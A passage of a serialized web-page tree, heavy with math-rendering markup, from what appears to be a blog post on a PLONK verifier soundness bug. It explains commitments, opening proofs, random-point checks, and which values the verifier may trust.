",{"type":21,"tag":78,"props":145816,"children":145818},{"className":145817},[6715,6716],[145819],{"type":21,"tag":153,"props":145820,"children":145822},{"className":145821},[6721],[145823],{"type":21,"tag":153,"props":145824,"children":145826},{"className":145825,"ariaHidden":3294},[6726],[145827,145868],{"type":21,"tag":153,"props":145828,"children":145830},{"className":145829},[6731],[145831,145835,145840,145845,145850,145855,145859,145864],{"type":21,"tag":153,"props":145832,"children":145834},{"className":145833,"style":6841},[6736],[],{"type":21,"tag":153,"props":145836,"children":145838},{"className":145837,"style":24281},[6742,24280],[145839],{"type":26,"value":124122},{"type":21,"tag":153,"props":145841,"children":145843},{"className":145842},[24409],[145844],{"type":26,"value":189},{"type":21,"tag":153,"props":145846,"children":145848},{"className":145847},[6742,24280],[145849],{"type":26,"value":21972},{"type":21,"tag":153,"props":145851,"children":145853},{"className":145852},[24431],[145854],{"type":26,"value":2071},{"type":21,"tag":153,"props":145856,"children":145858},{"className":145857,"style":6918},[6820],[],{"type":21,"tag":153,"props":145860,"children":145862},{"className":145861},[6923],[145863],{"type":26,"value":2367},{"type":21,"tag":153,"props":145865,"children":145867},{"className":145866,"style":6918},[6820],[],{"type":21,"tag":153,"props":145869,"children":145871},{"className":145870},[6731],[145872,145876],{"type":21,"tag":153,"props":145873,"children":145875},{"className":145874,"style":96375},[6736],[],{"type":21,"tag":153,"props":145877,"children":145879},{"className":145878},[6742],[145880],{"type":26,"value":2996},{"type":26,"value":145882}," at every row index in the domain. The vanishing polynomial ",{"type":21,"tag":78,"props":145884,"children":145886},{"className":145885},[6715,6716],[145887],{"type":21,"tag":153,"props":145888,"children":145890},{"className":145889},[6721],[145891],{"type":21,"tag":153,"props":145892,"children":145894},{"className":145893,"ariaHidden":3294},[6726],[145895,145937,146000],{"type":21,"tag":153,"props":145896,"children":145898},{"className":145897},[6731],[145899,145903,145909,145914,145919,145924,145928,145933],{"type":21,"tag":153,"props":145900,"children":145902},{"className":145901,"style":6841},[6736],[],{"type":21,"tag":153,"props":145904,"children":145906},{"className":145905,"style":24812},[6742,24280],[145907],{"type":26,"value":145908},"Z",{"type":21,"tag":153,"props":145910,"children":145912},{"className":145911},[24409],[145913],{"type":26,"value":189},{"type":21,"tag":153,"props":145915,"children":145917},{"className":145916},[6742,24280],[145918],{"type":26,"value":21972},{"type":21,"tag":153,"props":145920,"children":145922},{"className":145921},[24431],[145923],{"type":26,"value":2071},{"type":21,"tag":153,"props":145925,"children":145927},{"className":145926,"style":6918},[6820],[],{"type":21,"tag":153,"props":145929,"children":145931},{"className":145930},[6923],[145932],{"type":26,"value":2367},{"type":21,"tag":153,"props":145934,"children":145936},{"className":145935,"style":6918},[6820],[],{"type":21,"tag":153,"props":145938,"children":145940},{"className":145939},[6731],[145941,145946,145987,145991,145996],{"type":21,"tag":153,"props":145942,"children":145945},{"className":145943,"style":145944},[6736],"height:0.7477em;vertical-align:-0.0833em;",[],{"type":21,"tag":153,"props":145947,"children":145949},{"className":145948},[6742],[145950,145955],{"type":21,"tag":153,"props":145951,"children":145953},{"className":145952},[6742,24280],[145954],{"type":26,"value":21972},{"type":21,"tag":153,"props":145956,"children":145958},{"className":145957},[6757],[145959],{"type":21,"tag":153,"props":145960,"children":145962},{"className":145961},[6762],[145963],{"type":21,"tag":153,"props":145964,"children":145966},{"className":145965},[6767],[145967],{"type":21,"tag":153,"props":145968,"children":145970},{"className":145969,"style":111061},[6772],[145971],{"type":21,"tag":153,"props":145972,"children":145973},{"style":6776},[145974,145978],{"type":21,"tag":153,"props":145975,"children":145977},{"className":145976,"style":6782},[6781],[],{"type":21,"tag":153,"props":145979,"children":145981},{"className":145980},[6787,6788,6789,6790],[145982],{"type":21,"tag":153,"props":145983,"children":145985},{"className":145984},[6742,24280,6790],[145986],{"type":26,"value":58695},{"type":21,"tag":153,"props":145988,"children":145990},{"className":145989,"style":6821},[6820],[],{"type":21,"tag":153,"props":145992,"children":145994},{"className":145993},[6826],[145995],{"type":26,"value":6801},{"type":21,"tag":153,"props":145997,"children":145999},{"className":145998,"style":6821},[6820],[],{"type":21,"tag":153,"props":146001,"children":146003},{"className":146002},[6731],[146004,146008],{"type":21,"tag":153,"props":146005,"children":146007},{"className":146006,"style":96375},[6736],[],{"type":21,"tag":153,"props":146009,"children":146011},{"className":146010},[6742],[146012],{"type":26,"value":3033},{"type":26,"value":146014}," is zero on exactly those points, so if all constraints hold then ",{"type":21,"tag":78,"props":146016,"children":146018},{"className":146017},[6715,6716],[146019],{"type":21,"tag":153,"props":146020,"children":146022},{"className":146021},[6721],[146023],{"type":21,"tag":153,"props":146024,"children":146026},{"className":146025,"ariaHidden":3294},[6726],[146027],{"type":21,"tag":153,"props":146028,"children":146030},{"className":146029},[6731],[146031,146035,146040,146045,146050],{"type":21,"tag":153,"props":146032,"children":146034},{"className":146033,"style":6841},[6736],[],{"type":21,"tag":153,"props":146036,"children":146038},{"className":146037,"style":24812},[6742,24280],[146039],{"type":26,"value":145908},{"type":21,"tag":153,"props":146041,"children":146043},{"className":146042},[24409],[146044],{"type":26,"value":189},{"type":21,"tag":153,"props":146046,"children":146048},{"className":146047},[6742,24280],[146049],{"type":26,"value":21972},{"type":21,"tag":153,"props":146051,"children":146053},{"className":146052},[24431],[146054],{"type":26,"value":2071},{"type":26,"value":146056}," divides ",{"type":21,"tag":78,"props":146058,"children":146060},{"className":146059},[6715,6716],[146061],{"type":21,"tag":153,"props":146062,"children":146064},{"className":146063},[6721],[146065],{"type":21,"tag":153,"props":146066,"children":146068},{"className":146067,"ariaHidden":3294},[6726],[146069],{"type":21,"tag":153,"props":146070,"children":146072},{"className":146071},[6731],[146073,146077,146082,146087,146092],{"type":21,"tag":153,"props":146074,"children":146076},{"className":146075,"style":6841},[6736],[],{"type":21,"tag":153,"props":146078,"children":146080},{"className":146079,"style":24281},[6742,24280],[146081],{"type":26,"value":124122},{"type":21,"tag":153,"props":146083,"children":146085},{"className":146084},[24409],[146086],{"type":26,"value":189},{"type":21,"tag":153,"props":146088,"children":146090},{"className":146089},[6742,24280],[146091],{"type":26,"value":21972},{"type":21,"tag":153,"props":146093,"children":146095},{"className":146094},[24431],[146096],{"type":26,"value":2071},{"type":26,"value":146098},", yielding a quotient polynomial ",{"type":21,"tag":78,"props":146100,"children":146102},{"className":146101},[6715,6716],[146103],{"type":21,"tag":153,"props":146104,"children":146106},{"className":146105},[6721],[146107],{"type":21,"tag":153,"props":146108,"children":146110},{"className":146109,"ariaHidden":3294},[6726],[146111],{"type":21,"tag":153,"props":146112,"children":146114},{"className":146113},[6731],[146115,146119,146124,146129,146134],{"type":21,"tag":153,"props":146116,"children":146118},{"className":146117,"style":6841},[6736],[],{"type":21,"tag":153,"props":146120,"children":146122},{"className":146121,"style":24281},[6742,24280],[146123],{"type":26,"value":8717},{"type":21,"tag":153,"props":146125,"children":146127},{"className":146126},[24409],[146128],{"type":26,"value":189},{"type":21,"tag":153,"props":146130,"children":146132},{"className":146131},[6742,24280],[146133],{"type":26,"value":21972},{"type":21,"tag":153,"props":146135,"children":146137},{"className":146136},[24431],[146138],{"type":26,"value":2071},{"type":26,"value":24196},{"type":21,"tag":78,"props":146141,"children":146143},{"className":146142},[6715,6716],[146144],{"type":21,"tag":153,"props":146145,"children":146147},{"className":146146},[6721],[146148],{"type":21,"tag":153,"props":146149,"children":146151},{"className":146150,"ariaHidden":3294},[6726],[146152,146193,146234],{"type":21,"tag":153,"props":146153,"children":146155},{"className":146154},[6731],[146156,146160,146165,146170,146175,146180,146184,146189],{"type":21,"tag":153,"props":146157,"children":146159},{"className":146158,"style":6841},[6736],[],{"type":21,"tag":153,"props":146161,"children":146163},{"className":146162,"style":24281},[6742,24280],[146164],{"type":26,"value":124122},{"type":21,"tag":153,"props":146166,"children":146168},{"className":146167},[24409],[146169],{"type":26,"value":189},{"type":21,"tag":153,"props":146171,"children":146173},{"className":146172},[6742,24280],[146174],{"type":26,"value":21972},{"type":21,"tag":153,"props":146176,"children":146178},{"className":146177},[24431],[146179],{"type":26,"value":2071},{"type":21,"tag":153,"props":146181,"children":146183},{"className":146182,"style":6918},[6820],[],{"type":21,"tag":153,"props":146185,"children":146187},{"className":146186},[6923],[146188],{"type":26,"value":2367},{"type":21,"tag":153,"props":146190,"children":146192},{"className":146191,"style":6918},[6820],[],{"type":21,"tag":153,"props":146194,"children":146196},{"className":146195},[6731],[146197,146201,146206,146211,146216,146221,146225,146230],{"type":21,"tag":153,"props":146198,"children":146200},{"className":146199,"style":6841},[6736],[],{"type":21,"tag":153,"props":146202,"children":146204},{"className":146203,"style":24281},[6742,24280],[146205],{"type":26,"value":8717},{"type":21,"tag":153,"props":146207,"children":146209},{"className":146208},[24409],[146210],{"type":26,"value":189},{"type":21,"tag":153,"props":146212,"children":146214},{"className":146213},[6742,24280],[146215],{"type":26,"value":21972},{"type":21,"tag":153,"props":146217,"children":146219},{"className":146218},[24431],[146220],{"type":26,"value":2071},{"type":21,"tag":153,"props":146222,"children":146224},{"className":146223,"style":6821},[6820],[],{"type":21,"tag":153,"props":146226,"children":146228},{"className":146227},[6826],[146229],{"type":26,"value":113606},{"type":21,"tag":153,"props":146231,"children":146233},{"className":146232,"style":6821},[6820],[],{"type":21,"tag":153,"props":146235,"children":146237},{"className":146236},[6731],[146238,146242,146247,146252,146257],{"type":21,"tag":153,"props":146239,"children":146241},{"className":146240,"style":6841},[6736],[],{"type":21,"tag":153,"props":146243,"children":146245},{"className":146244,"style":24812},[6742,24280],[146246],{"type":26,"value":145908},{"type":21,"tag":153,"props":146248,"children":146250},{"className":146249},[24409],[146251],{"type":26,"value":189},{"type":21,"tag":153,"props":146253,"children":146255},{"className":146254},[6742,24280],[146256],{"type":26,"value":21972},{"type":21,"tag":153,"props":146258,"children":146260},{"className":146259},[24431],[146261],{"type":26,"value":2071},{"type":26,"value":355},{"type":21,"tag":22,"props":146264,"children":146265},{},[146266],{"type":21,"tag":3644,"props":146267,"children":146270},{"alt":146268,"src":146269},"master_equation","/posts/dusk-commitment-issues/master_equation.svg",[],{"type":21,"tag":114,"props":146272,"children":146274},{"id":146273},"polynomial-commitments-and-opening-proofs",[146275],{"type":26,"value":146276},"Polynomial commitments and opening proofs",{"type":21,"tag":22,"props":146278,"children":146279},{},[146280,146282,146287,146289,146294],{"type":26,"value":146281},"To keep the proof short, the prover doesn't send polynomials directly. Instead, it sends ",{"type":21,"tag":5302,"props":146283,"children":146284},{},[146285],{"type":26,"value":146286},"commitments",{"type":26,"value":146288},", short cryptographic fingerprints of each polynomial (using e.g. KZG commitments). When the verifier needs the value of a committed polynomial at a specific point, the prover provides the value along with an ",{"type":21,"tag":5302,"props":146290,"children":146291},{},[146292],{"type":26,"value":146293},"opening proof",{"type":26,"value":146295}," that the claimed value is consistent with the earlier commitment.",{"type":21,"tag":22,"props":146297,"children":146298},{},[146299],{"type":26,"value":146300},"A committed polynomial evaluation is therefore cryptographically bound, and the prover cannot lie about the value without being caught.",{"type":21,"tag":114,"props":146302,"children":146304},{"id":146303},"reducing-to-a-single-random-point",[146305],{"type":26,"value":146306},"Reducing to a single random point",{"type":21,"tag":22,"props":146308,"children":146309},{},[146310,146312,146352,146354,146379,146381,146503,146505,146530],{"type":26,"value":146311},"After the prover commits to all polynomials, including ",{"type":21,"tag":78,"props":146313,"children":146315},{"className":146314},[6715,6716],[146316],{"type":21,"tag":153,"props":146317,"children":146319},{"className":146318},[6721],[146320],{"type":21,"tag":153,"props":146321,"children":146323},{"className":146322,"ariaHidden":3294},[6726],[146324],{"type":21,"tag":153,"props":146325,"children":146327},{"className":146326},[6731],[146328,146332,146337,146342,146347],{"type":21,"tag":153,"props":146329,"children":146331},{"className":146330,"style":6841},[6736],[],{"type":21,"tag":153,"props":146333,"children":146335},{"className":146334,"style":24281},[6742,24280],[146336],{"type":26,"value":8717},{"type":21,"tag":153,"props":146338,"children":146340},{"className":146339},[24409],[146341],{"type":26,"value":189},{"type":21,"tag":153,"props":146343,"children":146345},{"className":146344},[6742,24280],[146346],{"type":26,"value":21972},{"type":21,"tag":153,"props":146348,"children":146350},{"className":146349},[24431],[146351],{"type":26,"value":2071},{"type":26,"value":146353},", the verifier picks a random challenge point ",{"type":21,"tag":78,"props":146355,"children":146357},{"className":146356},[6715,6716],[146358],{"type":21,"tag":153,"props":146359,"children":146361},{"className":146360},[6721],[146362],{"type":21,"tag":153,"props":146363,"children":146365},{"className":146364,"ariaHidden":3294},[6726],[146366],{"type":21,"tag":153,"props":146367,"children":146369},{"className":146368},[6731],[146370,146374],{"type":21,"tag":153,"props":146371,"children":146373},{"className":146372,"style":113185},[6736],[],{"type":21,"tag":153,"props":146375,"children":146377},{"className":146376,"style":115901},[6742,24280],[146378],{"type":26,"value":115904},{"type":26,"value":146380}," (derived via the Fiat-Shamir heuristic from the transcript) and checks ",{"type":21,"tag":78,"props":146382,"children":146384},{"className":146383},[6715,6716],[146385],{"type":21,"tag":153,"props":146386,"children":146388},{"className":146387},[6721],[146389],{"type":21,"tag":153,"props":146390,"children":146392},{"className":146391,"ariaHidden":3294},[6726],[146393,146434,146475],{"type":21,"tag":153,"props":146394,"children":146396},{"className":146395},[6731],[146397,146401,146406,146411,146416,146421,146425,146430],{"type":21,"tag":153,"props":146398,"children":146400},{"className":146399,"style":6841},[6736],[],{"type":21,"tag":153,"props":146402,"children":146404},{"className":146403,"style":24281},[6742,24280],[146405],{"type":26,"value":124122},{"type":21,"tag":153,"props":146407,"children":146409},{"className":146408},[24409],[146410],{"type":26,"value":189},{"type":21,"tag":153,"props":146412,"children":146414},{"className":146413,"style":115901},[6742,24280],[146415],{"type":26,"value":115904},{"type":21,"tag":153,"props":146417,"children":146419},{"className":146418},[24431],[146420],{"type":26,"value":2071},{"type":21,"tag":153,"props":146422,"children":146424},{"className":146423,"style":6918},[6820],[],{"type":21,"tag":153,"props":146426,"children":146428},{"className":146427},[6923],[146429],{"type":26,"value":2367},{"type":21,"tag":153,"props":146431,"children":146433},{"className":146432,"style":6918},[6820],[],{"type":21,"tag":153,"props":146435,"children":146437},{"className":146436},[6731],[146438,146442,146447,146452,146457,146462,146466,146471],{"type":21,"tag":153,"props":146439,"children":146441},{"className":146440,"style":6841},[6736],[],{"type":21,"tag":153,"props":146443,"children":146445},{"className":146444,"style":24281},[6742,24280],[146446],{"type":26,"value":8717},{"type":21,"tag":153,"props":146448,"children":146450},{"className":146449},[24409],[146451],{"type":26,"value":189},{"type":21,"tag":153,"props":146453,"children":146455},{"className":146454,"style":115901},[6742,24280],[146456],{"type":26,"value":115904},{"type":21,"tag":153,"props":146458,"children":146460},{"className":146459},[24431],[146461],{"type":26,"value":2071},{"type":21,"tag":153,"props":146463,"children":146465},{"className":146464,"style":6821},[6820],[],{"type":21,"tag":153,"props":146467,"children":146469},{"className":146468},[6826],[146470],{"type":26,"value":113606},{"type":21,"tag":153,"props":146472,"children":146474},{"className":146473,"style":6821},[6820],[],{"type":21,"tag":153,"props":146476,"children":146478},{"className":146477},[6731],[146479,146483,146488,146493,146498],{"type":21,"tag":153,"props":146480,"children":146482},{"className":146481,"style":6841},[6736],[],{"type":21,"tag":153,"props":146484,"children":146486},{"className":146485,"style":24812},[6742,24280],[146487],{"type":26,"value":145908},{"type":21,"tag":153,"props":146489,"children":146491},{"className":146490},[24409],[146492],{"type":26,"value":189},{"type":21,"tag":153,"props":146494,"children":146496},{"className":146495,"style":115901},[6742,24280],[146497],{"type":26,"value":115904},{"type":21,"tag":153,"props":146499,"children":146501},{"className":146500},[24431],[146502],{"type":26,"value":2071},{"type":26,"value":146504}," at that single point. By the Schwartz-Zippel lemma, if this holds at a random ",{"type":21,"tag":78,"props":146506,"children":146508},{"className":146507},[6715,6716],[146509],{"type":21,"tag":153,"props":146510,"children":146512},{"className":146511},[6721],[146513],{"type":21,"tag":153,"props":146514,"children":146516},{"className":146515,"ariaHidden":3294},[6726],[146517],{"type":21,"tag":153,"props":146518,"children":146520},{"className":146519},[6731],[146521,146525],{"type":21,"tag":153,"props":146522,"children":146524},{"className":146523,"style":113185},[6736],[],{"type":21,"tag":153,"props":146526,"children":146528},{"className":146527,"style":115901},[6742,24280],[146529],{"type":26,"value":115904},{"type":26,"value":146531}," then the full polynomial identity holds with overwhelming probability, so the verifier checks the entire multi-million-row circuit in constant time.",{"type":21,"tag":22,"props":146533,"children":146534},{},[146535,146537,146562,146564,146569],{"type":26,"value":146536},"In textbook PLONK the selector polynomials are part of the fixed circuit description, but in practice implementations commit to them during preprocessing and place those commitments in the verifier key. When the verifier later needs their values at ",{"type":21,"tag":78,"props":146538,"children":146540},{"className":146539},[6715,6716],[146541],{"type":21,"tag":153,"props":146542,"children":146544},{"className":146543},[6721],[146545],{"type":21,"tag":153,"props":146546,"children":146548},{"className":146547,"ariaHidden":3294},[6726],[146549],{"type":21,"tag":153,"props":146550,"children":146552},{"className":146551},[6731],[146553,146557],{"type":21,"tag":153,"props":146554,"children":146556},{"className":146555,"style":113185},[6736],[],{"type":21,"tag":153,"props":146558,"children":146560},{"className":146559,"style":115901},[6742,24280],[146561],{"type":26,"value":115904},{"type":26,"value":146563},", the prover supplies ",{"type":21,"tag":5302,"props":146565,"children":146566},{},[146567],{"type":26,"value":146568},"evaluation claims",{"type":26,"value":146570}," that must be checked against those commitments with opening proofs.",{"type":21,"tag":22,"props":146572,"children":146573},{},[146574,146576,146580],{"type":26,"value":146575},"The security argument depends on a chain: commitments lock the prover into polynomials ",{"type":21,"tag":5302,"props":146577,"children":146578},{},[146579],{"type":26,"value":106888},{"type":26,"value":146581}," challenges are derived, and opening proofs ensure the evaluations are consistent with those commitments. Breaking any single link in this chain collapses soundness entirely.",{"type":21,"tag":114,"props":146583,"children":146585},{"id":146584},"what-the-verifier-is-actually-allowed-to-trust",[146586],{"type":26,"value":146587},"What the verifier is actually allowed to trust",{"type":21,"tag":22,"props":146589,"children":146590},{},[146591,146593,146598],{"type":26,"value":146592},"For this bug, one invariant matters more than the rest: ",{"type":21,"tag":8055,"props":146594,"children":146595},{},[146596],{"type":26,"value":146597},"every scalar that enters the final verifier equation must be either locally computed by the verifier, or cryptographically tied to an earlier commitment",{"type":26,"value":355},{"type":21,"tag":22,"props":146600,"children":146601},{},[146602,146604,146696,146697,146789,146791,146816,146818,146858,146859,146899,146900,146993,146994,147040,147042,147129,147130,147217,147218,147305],{"type":26,"value":146603},"In practice, values entering the verifier equation fall into three buckets. The verifier computes some values locally from public data (",{"type":21,"tag":78,"props":146605,"children":146607},{"className":146606},[6715,6716],[146608],{"type":21,"tag":153,"props":146609,"children":146611},{"className":146610},[6721],[146612],{"type":21,"tag":153,"props":146613,"children":146615},{"className":146614,"ariaHidden":3294},[6726],[146616],{"type":21,"tag":153,"props":146617,"children":146619},{"className":146618},[6731],[146620,146624,146681,146686,146691],{"type":21,"tag":153,"props":146621,"children":146623},{"className":146622,"style":6841},[6736],[],{"type":21,"tag":153,"props":146625,"children":146627},{"className":146626},[6742],[146628,146633],{"type":21,"tag":153,"props":146629,"children":146631},{"className":146630,"style":24812},[6742,24280],[146632],{"type":26,"value":145908},{"type":21,"tag":153,"props":146634,"children":146636},{"className":146635},[6757],[146637],{"type":21,"tag":153,"props":146638,"children":146640},{"className":146639},[6762,24334],[146641,146670],{"type":21,"tag":153,"props":146642,"children":146644},{"className":146643},[6767],[146645,146665],{"type":21,"tag":153,"props":146646,"children":146648},{"className":146647,"style":144899},[6772],[146649],{"type":21,"tag":153,"props":146650,"children":146651},{"style":118593},[146652,146656],{"type":21,"tag":153,"props":146653,"children":146655},{"className":146654,"style":6782},[6781],[],{"type":21,"tag":153,"props":146657,"children":146659},{"className":146658},[6787,6788,6789,6790],[146660],{"type":21,"tag":153,"props":146661,"children":146663},{"className":146662,"style":95578},[6742,24280,6790],[146664],{"type":26,"value":95581},{"type":21,"tag":153,"props":146666,"children":146668},{"className":146667},[24437],[146669],{"type":26,"value":24440},{"type":21,"tag":153,"props":146671,"children":146673},{"className":146672},[6767],[146674],{"type":21,"tag":153,"props":146675,"children":146677},{"className":146676,"style":95427},[6772],[146678],{"type":21,"tag":153,"props":146679,"children":146680},{},[],{"type":21,"tag":153,"props":146682,"children":146684},{"className":146683},[24409],[146685],{"type":26,"value":189},{"type":21,"tag":153,"props":146687,"children":146689},{"className":146688,"style":115901},[6742,24280],[146690],{"type":26,"value":115904},{"type":21,"tag":153,"props":146692,"children":146694},{"className":146693},[24431],[146695],{"type":26,"value":2071},{"type":26,"value":1670},{"type":21,"tag":78,"props":146698,"children":146700},{"className":146699},[6715,6716],[146701],{"type":21,"tag":153,"props":146702,"children":146704},{"className":146703},[6721],[146705],{"type":21,"tag":153,"props":146706,"children":146708},{"className":146707,"ariaHidden":3294},[6726],[146709],{"type":21,"tag":153,"props":146710,"children":146712},{"className":146711},[6731],[146713,146717,146774,146779,146784],{"type":21,"tag":153,"props":146714,"children":146716},{"className":146715,"style":6841},[6736],[],{"type":21,"tag":153,"props":146718,"children":146720},{"className":146719},[6742],[146721,146726],{"type":21,"tag":153,"props":146722,"children":146724},{"className":146723},[6742,24280],[146725],{"type":26,"value":120308},{"type":21,"tag":153,"props":146727,"children":146729},{"className":146728},[6757],[146730],{"type":21,"tag":153,"props":146731,"children":146733},{"className":146732},[6762,24334],[146734,146763],{"type":21,"tag":153,"props":146735,"children":146737},{"className":146736},[6767],[146738,146758],{"type":21,"tag":153,"props":146739,"children":146741},{"className":146740,"style":95396},[6772],[146742],{"type":21,"tag":153,"props":146743,"children":146744},{"style":95400},[146745,146749],{"type":21,"tag":153,"props":146746,"children":146748},{"className":146747,"style":6782},[6781],[],{"type":21,"tag":153,"props":146750,"children":146752},{"className":146751},[6787,6788,6789,6790],[146753],{"type":21,"tag":153,"props":146754,"children":146756},{"className":146755},[6742,6790],[146757],{"type":26,"value":3033},{"type":21,"tag":153,"props":146759,"children":146761},{"className":146760},[24437],[146762],{"type":26,"value":24440},{"type":21,"tag":153,"props":146764,"children":146766},{"className":146765},[6767],[146767],{"type":21,"tag":153,"props":146768,"children":146770},{"className":146769,"style":95427},[6772],[146771],{"type":21,"tag":153,"props":146772,"children":146773},{},[],{"type":21,"tag":153,"props":146775,"children":146777},{"className":146776},[24409],[146778],{"type":26,"value":189},{"type":21,"tag":153,"props":146780,"children":146782},{"className":146781,"style":115901},[6742,24280],[146783],{"type":26,"value":115904},{"type":21,"tag":153,"props":146785,"children":146787},{"className":146786},[24431],[146788],{"type":26,"value":2071},{"type":26,"value":146790},", the public-input polynomial at ",{"type":21,"tag":78,"props":146792,"children":146794},{"className":146793},[6715,6716],[146795],{"type":21,"tag":153,"props":146796,"children":146798},{"className":146797},[6721],[146799],{"type":21,"tag":153,"props":146800,"children":146802},{"className":146801,"ariaHidden":3294},[6726],[146803],{"type":21,"tag":153,"props":146804,"children":146806},{"className":146805},[6731],[146807,146811],{"type":21,"tag":153,"props":146808,"children":146810},{"className":146809,"style":113185},[6736],[],{"type":21,"tag":153,"props":146812,"children":146814},{"className":146813,"style":115901},[6742,24280],[146815],{"type":26,"value":115904},{"type":26,"value":146817},"), which are safe because the prover never chooses them. Other values are prover-supplied evaluations accompanied by KZG opening proofs (",{"type":21,"tag":78,"props":146819,"children":146821},{"className":146820},[6715,6716],[146822],{"type":21,"tag":153,"props":146823,"children":146825},{"className":146824},[6721],[146826],{"type":21,"tag":153,"props":146827,"children":146829},{"className":146828,"ariaHidden":3294},[6726],[146830],{"type":21,"tag":153,"props":146831,"children":146833},{"className":146832},[6731],[146834,146838,146843,146848,146853],{"type":21,"tag":153,"props":146835,"children":146837},{"className":146836,"style":6841},[6736],[],{"type":21,"tag":153,"props":146839,"children":146841},{"className":146840},[6742,24280],[146842],{"type":26,"value":29},{"type":21,"tag":153,"props":146844,"children":146846},{"className":146845},[24409],[146847],{"type":26,"value":189},{"type":21,"tag":153,"props":146849,"children":146851},{"className":146850,"style":115901},[6742,24280],[146852],{"type":26,"value":115904},{"type":21,"tag":153,"props":146854,"children":146856},{"className":146855},[24431],[146857],{"type":26,"value":2071},{"type":26,"value":1670},{"type":21,"tag":78,"props":146860,"children":146862},{"className":146861},[6715,6716],[146863],{"type":21,"tag":153,"props":146864,"children":146866},{"className":146865},[6721],[146867],{"type":21,"tag":153,"props":146868,"children":146870},{"className":146869,"ariaHidden":3294},[6726],[146871],{"type":21,"tag":153,"props":146872,"children":146874},{"className":146873},[6731],[146875,146879,146884,146889,146894],{"type":21,"tag":153,"props":146876,"children":146878},{"className":146877,"style":6841},[6736],[],{"type":21,"tag":153,"props":146880,"children":146882},{"className":146881},[6742,24280],[146883],{"type":26,"value":5972},{"type":21,"tag":153,"props":146885,"children":146887},{"className":146886},[24409],[146888],{"type":26,"value":189},{"type":21,"tag":153,"props":146890,"children":146892},{"className":146891,"style":115901},[6742,24280],[146893],{"type":26,"value":115904},{"type":21,"tag":153,"props":146895,"children":146897},{"className":146896},[24431],[146898],{"type":26,"value":2071},{"type":26,"value":1670},{"type":21,"tag":78,"props":146901,"children":146903},{"className":146902},[6715,6716],[146904],{"type":21,"tag":153,"props":146905,"children":146907},{"className":146906},[6721],[146908],{"type":21,"tag":153,"props":146909,"children":146911},{"className":146910,"ariaHidden":3294},[6726],[146912],{"type":21,"tag":153,"props":146913,"children":146915},{"className":146914},[6731],[146916,146920,146978,146983,146988],{"type":21,"tag":153,"props":146917,"children":146919},{"className":146918,"style":6841},[6736],[],{"type":21,"tag":153,"props":146921,"children":146923},{"className":146922},[6742],[146924,146930],{"type":21,"tag":153,"props":146925,"children":146927},{"className":146926,"style":95830},[6742,24280],[146928],{"type":26,"value":146929},"σ",{"type":21,"tag":153,"props":146931,"children":146933},{"className":146932},[6757],[146934],{"type":21,"tag":153,"props":146935,"children":146937},{"className":146936},[6762,24334],[146938,146967],{"type":21,"tag":153,"props":146939,"children":146941},{"className":146940},[6767],[146942,146962],{"type":21,"tag":153,"props":146943,"children":146945},{"className":146944,"style":95396},[6772],[146946],{"type":21,"tag":153,"props":146947,"children":146948},{"style":95877},[146949,146953],{"type":21,"tag":153,"props":146950,"children":146952},{"className":146951,"style":6782},[6781],[],{"type":21,"tag":153,"props":146954,"children":146956},{"className":146955},[6787,6788,6789,6790],[146957],{"type":21,"tag":153,"props":146958,"children":146960},{"className":146959},[6742,6790],[146961],{"type":26,"value":3033},{"type":21,"tag":153,"props":146963,"children":146965},{"className":146964},[24437],[146966],{"type":26,"value":24440},{"type":21,"tag":153,"props":146968,"children":146970},{"className":146969},[6767],[146971],{"type":21,"tag":153,"props":146972,"children":146974},{"className":146973,"style":95427},[6772],[146975],{"type":21,"tag":153,"props":146976,"children":146977},{},[],{"type":21,"tag":153,"props":146979,"children":146981},{"className":146980},[24409],[146982],{"type":26,"value":189},{"type":21,"tag":153,"props":146984,"children":146986},{"className":146985,"style":115901},[6742,24280],[146987],{"type":26,"value":115904},{"type":21,"tag":153,"props":146989,"children":146991},{"className":146990},[24431],[146992],{"type":26,"value":2071},{"type":26,"value":1670},{"type":21,"tag":78,"props":146995,"children":146997},{"className":146996},[6715,6716],[146998],{"type":21,"tag":153,"props":146999,"children":147001},{"className":147000},[6721],[147002],{"type":21,"tag":153,"props":147003,"children":147005},{"className":147004,"ariaHidden":3294},[6726],[147006],{"type":21,"tag":153,"props":147007,"children":147009},{"className":147008},[6731],[147010,147014,147019,147024,147029,147035],{"type":21,"tag":153,"props":147011,"children":147013},{"className":147012,"style":6841},[6736],[],{"type":21,"tag":153,"props":147015,"children":147017},{"className":147016},[6742,24280],[147018],{"type":26,"value":29},{"type":21,"tag":153,"props":147020,"children":147022},{"className":147021},[24409],[147023],{"type":26,"value":189},{"type":21,"tag":153,"props":147025,"children":147027},{"className":147026,"style":115901},[6742,24280],[147028],{"type":26,"value":115904},{"type":21,"tag":153,"props":147030,"children":147032},{"className":147031,"style":95830},[6742,24280],[147033],{"type":26,"value":147034},"ω",{"type":21,"tag":153,"props":147036,"children":147038},{"className":147037},[24431],[147039],{"type":26,"value":2071},{"type":26,"value":147041},"), which are safe because the opening binds them to previously committed polynomials. A third category consists of verifier-key commitments used directly in the linearization multiscalar multiplication (",{"type":21,"tag":78,"props":147043,"children":147045},{"className":147044},[6715,6716],[147046],{"type":21,"tag":153,"props":147047,"children":147049},{"className":147048},[6721],[147050],{"type":21,"tag":153,"props":147051,"children":147053},{"className":147052,"ariaHidden":3294},[6726],[147054],{"type":21,"tag":153,"props":147055,"children":147057},{"className":147056},[6731],[147058,147062,147067,147124],{"type":21,"tag":153,"props":147059,"children":147061},{"className":147060,"style":6841},[6736],[],{"type":21,"tag":153,"props":147063,"children":147065},{"className":147064},[24409],[147066],{"type":26,"value":211},{"type":21,"tag":153,"props":147068,"children":147070},{"className":147069},[6742],[147071,147076],{"type":21,"tag":153,"props":147072,"children":147074},{"className":147073,"style":95830},[6742,24280],[147075],{"type":26,"value":95833},{"type":21,"tag":153,"props":147077,"children":147079},{"className":147078},[6757],[147080],{"type":21,"tag":153,"props":147081,"children":147083},{"className":147082},[6762,24334],[147084,147113],{"type":21,"tag":153,"props":147085,"children":147087},{"className":147086},[6767],[147088,147108],{"type":21,"tag":153,"props":147089,"children":147091},{"className":147090,"style":144899},[6772],[147092],{"type":21,"tag":153,"props":147093,"children":147094},{"style":95877},[147095,147099],{"type":21,"tag":153,"props":147096,"children":147098},{"className":147097,"style":6782},[6781],[],{"type":21,"tag":153,"props":147100,"children":147102},{"className":147101},[6787,6788,6789,6790],[147103],{"type":21,"tag":153,"props":147104,"children":147106},{"className":147105,"style":97352},[6742,24280,6790],[147107],{"type":26,"value":97355},{"type":21,"tag":153,"props":147109,"children":147111},{"className":147110},[24437],[147112],{"type":26,"value":24440},{"type":21,"tag":153,"props":147114,"children":147116},{"className":147115},[6767